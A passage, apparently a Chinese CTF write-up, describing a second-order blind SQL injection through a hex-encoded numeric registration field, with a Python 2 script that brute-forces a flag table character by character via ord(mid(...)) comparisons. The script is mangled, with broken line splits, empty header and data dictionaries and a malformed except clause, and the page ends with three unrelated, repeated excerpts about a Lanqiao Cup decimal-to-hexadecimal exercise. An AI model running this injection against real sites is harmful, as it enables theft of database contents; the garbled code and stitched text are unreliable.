註冊時有三個必填項,分別是使用者名稱、密碼和**。**要求必須數字。
盲注的思路,註冊時**填寫十六進製制。
於是python如下:
#結果:coding=utf-8
import
requests
import
binascii
import
redef
login_sqli(url,username,password,payload):
url =url
username =username
password =password
headers =
#login
data =
try:
#get_session
s =requests.session()
req1 = s.get(url+'
/index.php')
#register
req2 = s.post(url+'
/register.php
',data =data)
#sqli
req3 = s.get(url+'
/query.php')
return
req3.text
except
:
'error'if
__name__ == '
__main__':
login_url = '
'password = '
123123
'result = ''
pattern = re.compile(r'
\d?\d?\d?\d?\d?\d')
for i in range(1,43):
for j in range(33,128):
payload = "
5555%%' and ord(mid((select * from flag),%d,1))=%d #
" %(i,j)
payload_0x =binascii.b2a_hex(payload)
_payload = '
0x'+payload_0x
username = '
userrif
'+str(i)+str(j)
text =login_sqli(login_url,username,password,_payload)
#time.sleep(3)
r =re.search(pattern,text)
if(int(r.group()) >0):
print str(i)+'
-->
'+chr(j)
else
:
continue
藍橋杯題目練習 十進位制轉十六進製制
問題描述 十六進製制數是在程式設計時經常要使用到的一種整數的表示方式。它有0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f共16個符號,分別表示十進位制數的0至15。十六進製制的計數方法是滿16進1,所以十進位制數16在十六進製制中是10,而十進位制的17在十六進製制中是11,以此類推...
藍橋杯 十進位制轉十六進製制
問題描述 十六進製制數是在程式設計時經常要使用到的一種整數的表示方式。它有0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f共16個符號,分別表示十進位制數的0至15。十六進製制的計數方法是滿16進1,所以十進位制數16在十六進製制中是10,而十進位制的17在十六進製制中是11,以此類推...
藍橋杯 十進位制轉十六進製制
基礎練習 十進位制轉十六進製制 時間限制 1.0s 記憶體限制 512.0mb 問題描述 十六進製制數是在程式設計時經常要使用到的一種整數的表示方式。它有0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f共16個符號,分別表示十進位制數的0至15。十六進製制的計數方法是滿16進1,所以十...